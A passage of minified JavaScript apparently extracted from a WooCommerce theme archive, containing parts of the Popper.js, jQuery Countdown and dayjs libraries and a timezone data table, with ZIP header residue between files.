0===(n=n.roundOffsets)||n,e={placement:x(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:e},null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,T(Object.assign({},e,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:o,roundOffsets:n})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,T(Object.assign({},e,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:n})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}},Q={name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},o=t.attributes[e]||{},r=t.elements[e];i(r)&&s(r)&&(Object.assign(r.style,n),Object.keys(o).forEach((function(e){var t=o[e];!1===t?r.removeAttribute(e):r.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var o=t.elements[e],r=t.attributes[e]||{};e=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{}),i(o)&&s(o)&&(Object.assign(o.style,e),Object.keys(r).forEach((function(e){o.removeAttribute(e)})))}))}},requires:["computeStyles"]},Z={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.name,o=void 0===(e=e.options.offset)?[0,0]:e,r=(e=V.reduce((function(e,n){var r=t.rects,i=x(n),a=0<=["left","top"].indexOf(i)?-1:1,s="function"==typeof o?o(Object.assign({},r,{placement:n})):o;return r=(r=s[0])||0,s=((s=s[1])||0)*a,i=0<=["left","right"].indexOf(i)?{x:s,y:r}:{x:r,y:s},e[n]=i,e}),{}))[t.placement],i=r.x;r=r.y,null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=i,t.modifiersData.popperOffsets.y+=r),t.modifiersData[n]=e}},$={left:"right",right:"left",bottom:"top",top:"bottom"},ee={start:"end",end:"start"},te={name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options;if(e=e.name,!t.modifiersData[e]._skip){var o=n.mainAxis;o=void 0===o||o;var r=n.altAxis;r=void 0===r||r;var i=n.fallbackPlacements,a=n.padding,s=n.boundary,f=n.rootBoundary,p=n.altBoundary,c=n.flipVariations,l=void 0===c||c,u=n.allowedAutoPlacements;c=x(n=t.options.placement),i=i||(c!==n&&l?function(e){if("auto"===x(e))return[];var t=H(e);return[R(e),t,R(t)]}(n):[H(n)]);var d=[n].concat(i).reduce((function(e,n){return e.concat("auto"===x(n)?function(e,t){void 0===t&&(t={});var n=t.boundary,o=t.rootBoundary,r=t.padding,i=t.flipVariations,a=t.allowedAutoPlacements,s=void 0===a?V:a,f=t.placement.split("-")[1];0===(i=(t=f?i?N:N.filter((function(e){return e.split("-")[1]===f})):C).filter((function(e){return 0<=s.indexOf(e)}))).length&&(i=t);var p=i.reduce((function(t,i){return t[i]=A(e,{placement:i,boundary:n,rootBoundary:o,padding:r})[x(i)],t}),{});return Object.keys(p).sort((function(e,t){return p[e]-p[t]}))}(t,{placement:n,boundary:s,rootBoundary:f,padding:a,flipVariations:l,allowedAutoPlacements:u}):n)}),[]);n=t.rects.reference,i=t.rects.popper;var m=new Map;c=!0;for(var h=d[0],v=0;v<d.length;v++){var g=d[v],y=x(g),b="start"===g.split("-")[1],w=0<=["top","bottom"].indexOf(y),O=w?"width":"height",j=A(t,{placement:g,boundary:s,rootBoundary:f,altBoundary:p,padding:a});if(b=w?b?"right":"left":b?"bottom":"top",n[O]>i[O]&&(b=H(b)),O=H(b),w=[],o&&w.push(0>=j[y]),r&&w.push(0>=j[b],0>=j[O]),w.every((function(e){return e}))){h=g,c=!1;break}m.set(g,w)}if(c)for(o=function(e){var t=d.find((function(t){if(t=m.get(t))return t.slice(0,e).every((function(e){return e}))}));if(t)return h=t,"break"},r=l?3:1;0<r&&"break"!==o(r);r--);t.placement!==h&&(t.modifiersData[e]._skip=!0,t.placement=h,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}},ne={name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options;e=e.name;var o=n.mainAxis,r=void 0===o||o,i=void 0!==(o=n.altAxis)&&o;o=void 0===(o=n.tether)||o;var a=n.tetherOffset,s=void 0===a?0:a,f=A(t,{boundary:n.boundary,rootBoundary:n.rootBoundary,padding:n.padding,altBoundary:n.altBoundary});n=x(t.placement);var p=t.placement.split("-")[1],c=!p,l=L(n);n="x"===l?"y":"x",a=t.modifiersData.popperOffsets;var u=t.rects.reference,m=t.rects.popper,h="function"==typeof s?s(Object.assign({},t.rects,{placement:t.placement})):s;if(s={x:0,y:0},a){if(r||i){var v="y"===l?"top":"left",g="y"===l?"bottom":"right",b="y"===l?"height":"width",w=a[l],O=a[l]+f[v],j=a[l]-f[g],E=o?-m[b]/2:0,D="start"===p?u[b]:m[b];p="start"===p?-m[b]:-u[b],m=t.elements.arrow,m=o&&m?d(m):{width:0,height:0};var P=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0};v=P[v],g=P[g],m=_(0,U(u[b],m[b])),D=c?u[b]/2-E-m-v-h:D-m-v-h,u=c?-u[b]/2+E+m+g+h:p+m+g+h,c=t.elements.arrow&&y(t.elements.arrow),h=t.modifiersData.offset?t.modifiersData.offset[t.placement][l]:0,c=a[l]+D-h-(c?"y"===l?c.clientTop||0:c.clientLeft||0:0),u=a[l]+u-h,r&&(r=o?U(O,c):O,j=o?_(j,u):j,r=_(r,U(w,j)),a[l]=r,s[l]=r-w),i&&(r=(i=a[n])+f["x"===l?"top":"left"],f=i-f["x"===l?"bottom":"right"],r=o?U(r,c):r,o=o?_(f,u):f,o=_(r,U(i,o)),a[n]=o,s[n]=o-i)}t.modifiersData[e]=s}},requiresIfExists:["offset"]},oe={name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,o=e.name,r=e.options,i=n.elements.arrow,a=n.modifiersData.popperOffsets,s=x(n.placement);if(e=L(s),s=0<=["left","right"].indexOf(s)?"height":"width",i&&a){r=M("number"!=typeof(r="function"==typeof(r=r.padding)?r(Object.assign({},n.rects,{placement:n.placement})):r)?r:k(r,C));var f=d(i),p="y"===e?"top":"left",c="y"===e?"bottom":"right",l=n.rects.reference[s]+n.rects.reference[e]-a[e]-n.rects.popper[s];a=a[e]-n.rects.reference[e],a=(i=(i=y(i))?"y"===e?i.clientHeight||0:i.clientWidth||0:0)/2-f[s]/2+(l/2-a/2),s=_(r[p],U(a,i-f[s]-r[c])),n.modifiersData[o]=((t={})[e]=s,t.centerOffset=s-a,t)}},effect:function(e){var t=e.state;if(null!=(e=void 0===(e=e.options.element)?"[data-popper-arrow]":e)){if("string"==typeof e&&!(e=t.elements.popper.querySelector(e)))return;O(t.elements.popper,e)&&(t.elements.arrow=e)}},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},re={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state;e=e.name;var n=t.rects.reference,o=t.rects.popper,r=t.modifiersData.preventOverflow,i=A(t,{elementContext:"reference"}),a=A(t,{altBoundary:!0});n=S(i,n),o=S(a,o,r),r=q(n),a=q(o),t.modifiersData[e]={referenceClippingOffsets:n,popperEscapeOffsets:o,isReferenceHidden:r,hasPopperEscaped:a},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":r,"data-popper-escaped":a})}},ie=B({defaultModifiers:[Y,G,K,Q]}),ae=[Y,G,K,Q,Z,te,ne,oe,re],se=B({defaultModifiers:ae});e.applyStyles=Q,e.arrow=oe,e.computeStyles=K,e.createPopper=se,e.createPopperLite=ie,e.defaultModifiers=ae,e.detectOverflow=A,e.eventListeners=Y,e.flip=te,e.hide=re,e.offset=Z,e.popperGenerator=B,e.popperOffsets=G,e.preventOverflow=ne,Object.defineProperty(e,"__esModule",{value:!0})}));
PK     0w\k}ʃ    +  woocommerce/js/jquery.countdown-pack.min.jsnu [        /*!
 * The Final Countdown for jQuery v2.2.0 (http://hilios.github.io/jQuery.countdown/)
 * Copyright (c) 2016 Edson Hilios
 * 
 * Permission is hereby granted, free of charge, to any person obtaining a copy of
 * this software and associated documentation files (the "Software"), to deal in
 * the Software without restriction, including without limitation the rights to
 * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
 * the Software, and to permit persons to whom the Software is furnished to do so,
 * subject to the following conditions:
 * 
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 * 
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
 * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
 * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
 * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */
!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):a(jQuery)}(function(a){"use strict";function b(a){if(a instanceof Date)return a;if(String(a).match(g))return String(a).match(/^[0-9]*$/)&&(a=Number(a)),String(a).match(/\-/)&&(a=String(a).replace(/\-/g,"/")),new Date(a);throw new Error("Couldn't cast `"+a+"` to a date object.")}function c(a){var b=a.toString().replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1");return new RegExp(b)}function d(a){return function(b){var d=b.match(/%(-|!)?[A-Z]{1}(:[^;]+;)?/gi);if(d)for(var f=0,g=d.length;f<g;++f){var h=d[f].match(/%(-|!)?([a-zA-Z]{1})(:[^;]+;)?/),j=c(h[0]),k=h[1]||"",l=h[3]||"",m=null;h=h[2],i.hasOwnProperty(h)&&(m=i[h],m=Number(a[m])),null!==m&&("!"===k&&(m=e(l,m)),""===k&&m<10&&(m="0"+m.toString()),b=b.replace(j,m.toString()))}return b=b.replace(/%%/,"%")}}function e(a,b){var c="s",d="";return a&&(a=a.replace(/(:|;|\s)/gi,"").split(/\,/),1===a.length?c=a[0]:(d=a[0],c=a[1])),Math.abs(b)>1?c:d}var f=[],g=[],h={precision:100,elapse:!1,defer:!1};g.push(/^[0-9]*$/.source),g.push(/([0-9]{1,2}\/){2}[0-9]{4}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g.push(/[0-9]{4}([\/\-][0-9]{1,2}){2}( [0-9]{1,2}(:[0-9]{2}){2})?/.source),g=new RegExp(g.join("|"));var i={Y:"years",m:"months",n:"daysToMonth",d:"daysToWeek",w:"weeks",W:"weeksToMonth",H:"hours",M:"minutes",S:"seconds",D:"totalDays",I:"totalHours",N:"totalMinutes",T:"totalSeconds"},j=function(b,c,d){this.el=b,this.$el=a(b),this.interval=null,this.offset={},this.options=a.extend({},h),this.firstTick=!0,this.instanceNumber=f.length,f.push(this),this.$el.data("countdown-instance",this.instanceNumber),d&&("function"==typeof d?(this.$el.on("update.countdown",d),this.$el.on("stoped.countdown",d),this.$el.on("finish.countdown",d)):this.options=a.extend({},h,d)),this.setFinalDate(c),this.options.defer===!1&&this.start()};a.extend(j.prototype,{start:function(){null!==this.interval&&clearInterval(this.interval);var a=this;this.update(),this.interval=setInterval(function(){a.update.call(a)},this.options.precision)},stop:function(){clearInterval(this.interval),this.interval=null,this.dispatchEvent("stoped")},toggle:function(){this.interval?this.stop():this.start()},pause:function(){this.stop()},resume:function(){this.start()},remove:function(){this.stop.call(this),f[this.instanceNumber]=null,delete this.$el.data().countdownInstance},setFinalDate:function(a){this.finalDate=b(a)},update:function(){if(0===this.$el.closest("html").length)return void this.remove();var a,b=new Date;return a=this.finalDate.getTime()-b.getTime(),a=Math.ceil(a/1e3),a=!this.options.elapse&&a<0?0:Math.abs(a),this.totalSecsLeft===a||this.firstTick?void(this.firstTick=!1):(this.totalSecsLeft=a,this.elapsed=b>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-b.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},void(this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish"))))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}});
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.dayjs=e()}(this,function(){"use strict";var t="millisecond",e="second",n="minute",r="hour",i="day",s="week",u="month",a="quarter",o="year",f="date",h=/^(\d{4})[-/]?(\d{1,2})?[-/]?(\d{0,2})[^0-9]*(\d{1,2})?:?(\d{1,2})?:?(\d{1,2})?.?(\d+)?$/,c=/\[([^\]]+)]|Y{2,4}|M{1,4}|D{1,2}|d{1,4}|H{1,2}|h{1,2}|a|A|m{1,2}|s{1,2}|Z{1,2}|SSS/g,d={name:"en",weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_")},$=function(t,e,n){var r=String(t);return!r||r.length>=e?t:""+Array(e+1-r.length).join(n)+t},l={s:$,z:function(t){var e=-t.utcOffset(),n=Math.abs(e),r=Math.floor(n/60),i=n%60;return(e<=0?"+":"-")+$(r,2,"0")+":"+$(i,2,"0")},m:function t(e,n){if(e.date()<n.date())return-t(n,e);var r=12*(n.year()-e.year())+(n.month()-e.month()),i=e.clone().add(r,u),s=n-i<0,a=e.clone().add(r+(s?-1:1),u);return+(-(r+(n-i)/(s?i-a:a-i))||0)},a:function(t){return t<0?Math.ceil(t)||0:Math.floor(t)},p:function(h){return{M:u,y:o,w:s,d:i,D:f,h:r,m:n,s:e,ms:t,Q:a}[h]||String(h||"").toLowerCase().replace(/s$/,"")},u:function(t){return void 0===t}},y="en",M={};M[y]=d;var m=function(t){return t instanceof S},D=function(t,e,n){var r;if(!t)return y;if("string"==typeof t)M[t]&&(r=t),e&&(M[t]=e,r=t);else{var i=t.name;M[i]=t,r=i}return!n&&r&&(y=r),r||!n&&y},v=function(t,e){if(m(t))return t.clone();var n="object"==typeof e?e:{};return n.date=t,n.args=arguments,new S(n)},g=l;g.l=D,g.i=m,g.w=function(t,e){return v(t,{locale:e.$L,utc:e.$u,x:e.$x,$offset:e.$offset})};var S=function(){function d(t){this.$L=D(t.locale,null,!0),this.parse(t)}var $=d.prototype;return $.parse=function(t){this.$d=function(t){var e=t.date,n=t.utc;if(null===e)return new Date(NaN);if(g.u(e))return new Date;if(e instanceof Date)return new Date(e);if("string"==typeof e&&!/Z$/i.test(e)){var r=e.match(h);if(r){var i=r[2]-1||0,s=(r[7]||"0").substring(0,3);return n?new Date(Date.UTC(r[1],i,r[3]||1,r[4]||0,r[5]||0,r[6]||0,s)):new Date(r[1],i,r[3]||1,r[4]||0,r[5]||0,r[6]||0,s)}}return new Date(e)}(t),this.$x=t.x||{},this.init()},$.init=function(){var t=this.$d;this.$y=t.getFullYear(),this.$M=t.getMonth(),this.$D=t.getDate(),this.$W=t.getDay(),this.$H=t.getHours(),this.$m=t.getMinutes(),this.$s=t.getSeconds(),this.$ms=t.getMilliseconds()},$.$utils=function(){return g},$.isValid=function(){return!("Invalid Date"===this.$d.toString())},$.isSame=function(t,e){var n=v(t);return this.startOf(e)<=n&&n<=this.endOf(e)},$.isAfter=function(t,e){return v(t)<this.startOf(e)},$.isBefore=function(t,e){return this.endOf(e)<v(t)},$.$g=function(t,e,n){return g.u(t)?this[e]:this.set(n,t)},$.unix=function(){return Math.floor(this.valueOf()/1e3)},$.valueOf=function(){return this.$d.getTime()},$.startOf=function(t,a){var h=this,c=!!g.u(a)||a,d=g.p(t),$=function(t,e){var n=g.w(h.$u?Date.UTC(h.$y,e,t):new Date(h.$y,e,t),h);return c?n:n.endOf(i)},l=function(t,e){return g.w(h.toDate()[t].apply(h.toDate("s"),(c?[0,0,0,0]:[23,59,59,999]).slice(e)),h)},y=this.$W,M=this.$M,m=this.$D,D="set"+(this.$u?"UTC":"");switch(d){case o:return c?$(1,0):$(31,11);case u:return c?$(1,M):$(0,M+1);case s:var v=this.$locale().weekStart||0,S=(y<v?y+7:y)-v;return $(c?m-S:m+(6-S),M);case i:case f:return l(D+"Hours",0);case r:return l(D+"Minutes",1);case n:return l(D+"Seconds",2);case e:return l(D+"Milliseconds",3);default:return this.clone()}},$.endOf=function(t){return this.startOf(t,!1)},$.$set=function(s,a){var h,c=g.p(s),d="set"+(this.$u?"UTC":""),$=(h={},h[i]=d+"Date",h[f]=d+"Date",h[u]=d+"Month",h[o]=d+"FullYear",h[r]=d+"Hours",h[n]=d+"Minutes",h[e]=d+"Seconds",h[t]=d+"Milliseconds",h)[c],l=c===i?this.$D+(a-this.$W):a;if(c===u||c===o){var y=this.clone().set(f,1);y.$d[$](l),y.init(),this.$d=y.set(f,Math.min(this.$D,y.daysInMonth())).$d}else $&&this.$d[$](l);return this.init(),this},$.set=function(t,e){return this.clone().$set(t,e)},$.get=function(t){return this[g.p(t)]()},$.add=function(t,a){var f,h=this;t=Number(t);var c=g.p(a),d=function(e){var n=v(h);return g.w(n.date(n.date()+Math.round(e*t)),h)};if(c===u)return this.set(u,this.$M+t);if(c===o)return this.set(o,this.$y+t);if(c===i)return d(1);if(c===s)return d(7);var $=(f={},f[n]=6e4,f[r]=36e5,f[e]=1e3,f)[c]||1,l=this.$d.getTime()+t*$;return g.w(l,this)},$.subtract=function(t,e){return this.add(-1*t,e)},$.format=function(t){var e=this;if(!this.isValid())return"Invalid Date";var n=t||"YYYY-MM-DDTHH:mm:ssZ",r=g.z(this),i=this.$locale(),s=this.$H,u=this.$m,a=this.$M,o=i.weekdays,f=i.months,h=function(t,r,i,s){return t&&(t[r]||t(e,n))||i[r].substr(0,s)},d=function(t){return g.s(s%12||12,t,"0")},$=i.meridiem||function(t,e,n){var r=t<12?"AM":"PM";return n?r.toLowerCase():r},l={YY:String(this.$y).slice(-2),YYYY:this.$y,M:a+1,MM:g.s(a+1,2,"0"),MMM:h(i.monthsShort,a,f,3),MMMM:h(f,a),D:this.$D,DD:g.s(this.$D,2,"0"),d:String(this.$W),dd:h(i.weekdaysMin,this.$W,o,2),ddd:h(i.weekdaysShort,this.$W,o,3),dddd:o[this.$W],H:String(s),HH:g.s(s,2,"0"),h:d(1),hh:d(2),a:$(s,u,!0),A:$(s,u,!1),m:String(u),mm:g.s(u,2,"0"),s:String(this.$s),ss:g.s(this.$s,2,"0"),SSS:g.s(this.$ms,3,"0"),Z:r};return n.replace(c,function(t,e){return e||l[t]||r.replace(":","")})},$.utcOffset=function(){return 15*-Math.round(this.$d.getTimezoneOffset()/15)},$.diff=function(t,f,h){var c,d=g.p(f),$=v(t),l=6e4*($.utcOffset()-this.utcOffset()),y=this-$,M=g.m(this,$);return M=(c={},c[o]=M/12,c[u]=M,c[a]=M/3,c[s]=(y-l)/6048e5,c[i]=(y-l)/864e5,c[r]=y/36e5,c[n]=y/6e4,c[e]=y/1e3,c)[d]||y,h?M:g.a(M)},$.daysInMonth=function(){return this.endOf(u).$D},$.$locale=function(){return M[this.$L]},$.locale=function(t,e){if(!t)return this.$L;var n=this.clone(),r=D(t,e,!0);return r&&(n.$L=r),n},$.clone=function(){return g.w(this.$d,this)},$.toDate=function(){return new Date(this.valueOf())},$.toJSON=function(){return this.isValid()?this.toISOString():null},$.toISOString=function(){return this.$d.toISOString()},$.toString=function(){return this.$d.toUTCString()},d}(),p=S.prototype;return v.prototype=p,[["$ms",t],["$s",e],["$m",n],["$H",r],["$W",i],["$M",u],["$y",o],["$D",f]].forEach(function(t){p[t[1]]=function(e){return this.$g(e,t[0],t[1])}}),v.extend=function(t,e){return t(e,S,v),v},v.locale=D,v.isDayjs=m,v.unix=function(t){return v(1e3*t)},v.en=M[y],v.Ls=M,v.p={},v});

!function(a,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i((a=a||self).timezoneSupport={})}(this,function(a){"use strict";function l(a){return 96<a?a-87:64<a?a-29:a-48}function r(a){var i=a.split("."),e=i[0],r=i[1]||"",A=1,c=0,o=0,n=1;45===a.charCodeAt(0)&&(n=-(c=1));for(var t=c,s=e.length;t<s;++t){o=60*o+l(e.charCodeAt(t))}for(var u=0,m=r.length;u<m;++u){o+=l(r.charCodeAt(u))*(A/=60)}return o*n}function t(a){for(var i=0,e=a.length;i<e;++i)a[i]=r(a[i])}function s(a,i){for(var e=[],r=0,A=i.length;r<A;++r)e[r]=a[i[r]];return e}function A(a){var i=a.split("|"),e=i[2].split(" "),r=i[3].split(""),A=i[4].split(" ");t(e),t(r),t(A),function(a,i){for(var e=0;e<i;++e)a[e]=Math.round((a[e-1]||0)+6e4*a[e]);a[i-1]=1/0}(A,r.length);var c=i[0],o=s(i[1].split(" "),r),n=0|i[5];return{name:c,abbreviations:o,offsets:e=s(e,r),untils:A,population:n}}var c,i,o,n;function d(a){var i=a.year,e=a.month,r=a.day,A=a.hours,c=void 0===A?0:A,o=a.minutes,n=void 0===o?0:o,t=a.seconds,s=void 0===t?0:t,u=a.milliseconds,m=void 0===u?0:u;return Date.UTC(i,e-1,r,c,n,s,m)}function E(a){return{year:a.getUTCFullYear(),month:a.getUTCMonth()+1,day:a.getUTCDate(),dayOfWeek:a.getUTCDay(),hours:a.getUTCHours(),minutes:a.getUTCMinutes(),seconds:a.getUTCSeconds()||0,milliseconds:a.getUTCMilliseconds()||0}}function h(a){return{year:a.getFullYear(),month:a.getMonth()+1,day:a.getDate(),dayOfWeek:a.getDay(),hours:a.getHours(),minutes:a.getMinutes(),seconds:a.getSeconds()||0,milliseconds:a.getMilliseconds()||0}}function T(a,i){var e=function(a,i){for(var e=i.untils,r=0,A=e.length;r<A;++r)if(a<e[r])return r}(a,i);return{abbreviation:i.abbreviations[e],offset:i.offsets[e]}}function z(a,i){Object.defineProperty(a,"epoch",{value:i})}var e,u,m;u=(e={version:"2019a",zones:["Africa/Abidjan|GMT|0|0||48e5","Africa/Nairobi|EAT|-30|0||47e5","Africa/Algiers|CET|-10|0||26e5","Africa/Lagos|WAT|-10|0||17e6","Africa/Maputo|CAT|-20|0||26e5","Africa/Cairo|EET EEST|-20 -30|01010|1M2m0 gL0 e10 mn0|15e6","Africa/Casablanca|+00 +01|0 -10|010101010101010101010101010101010101|1H3C0 wM0 co0 go0 1o00 s00 dA0 vc0 11A0 A00 e00 y00 11A0 uM0 e00 Dc0 11A0 s00 e00 IM0 WM0 mo0 gM0 LA0 WM0 jA0 e00 28M0 e00 2600 e00 28M0 e00 2600 gM0|32e5","Europe/Paris|CET CEST|-10 -20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|11e6","Africa/Johannesburg|SAST|-20|0||84e5","Africa/Khartoum|EAT CAT|-30 -20|01|1Usl0|51e5","Africa/Sao_Tome|GMT WAT|0 -10|010|1UQN0 2q00","Africa/Tripoli|EET CET CEST|-20 -10 -20|0120|1IlA0 TA0 1o00|11e5","Africa/Windhoek|CAT WAT|-20 -10|0101010101010|1GQo0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0|32e4","America/Adak|HST HDT|a0 90|01010101010101010101010|1GIc0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|326","America/Anchorage|AKST AKDT|90 80|01010101010101010101010|1GIb0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|30e4","America/Santo_Domingo|AST|40|0||29e5","America/Araguaina|-03 -02|30 20|010|1IdD0 Lz0|14e4","America/Fortaleza|-03|30|0||34e5","America/Asuncion|-03 -04|30 40|01010101010101010101010|1GTf0 1cN0 17b0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1ip0 17b0 1ip0 17b0 1ip0 19X0 1fB0 19X0 1fB0|28e5","America/Panama|EST|50|0||15e5","America/Mexico_City|CST CDT|60 50|01010101010101010101010|1GQw0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|20e6","America/Bahia|-02 -03|20 30|01|1GCq0|27e5","America/Managua|CST|60|0||22e5","America/La_Paz|-04|40|0||19e5","America/Lima|-05|50|0||11e6","America/Denver|MST MDT|70 60|01010101010101010101010|1GI90 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|26e5","America/Campo_Grande|-03 -04|30 40|01010101010101010101010|1GCr0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0 1HB0 FX0 1HB0 IL0 1HB0 FX0 1HB0|77e4","America/Cancun|CST CDT EST|60 50 50|01010102|1GQw0 1nX0 14p0 1lb0 14p0 1lb0 Dd0|63e4","America/Caracas|-0430 -04|4u 40|01|1QMT0|29e5","America/Chicago|CST CDT|60 50|01010101010101010101010|1GI80 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|92e5","America/Chihuahua|MST MDT|70 60|01010101010101010101010|1GQx0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|81e4","America/Phoenix|MST|70|0||42e5","America/Los_Angeles|PST PDT|80 70|01010101010101010101010|1GIa0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|15e6","America/New_York|EST EDT|50 40|01010101010101010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|21e6","America/Rio_Branco|-04 -05|40 50|01|1KLE0|31e4","America/Fort_Nelson|PST PDT MST|80 70 70|01010102|1GIa0 1zb0 Op0 1zb0 Op0 1zb0 Op0|39e2","America/Halifax|AST ADT|40 30|01010101010101010101010|1GI60 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|39e4","America/Godthab|-03 -02|30 20|01010101010101010101010|1GNB0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0|17e3","America/Grand_Turk|EST EDT AST|50 40 40|0101010121010101010|1GI70 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 5Ip0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|37e2","America/Havana|CST CDT|50 40|01010101010101010101010|1GQt0 1qM0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0|21e5","America/Metlakatla|PST AKST AKDT|80 90 80|01212120121212121|1PAa0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 uM0 jB0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|14e2","America/Miquelon|-03 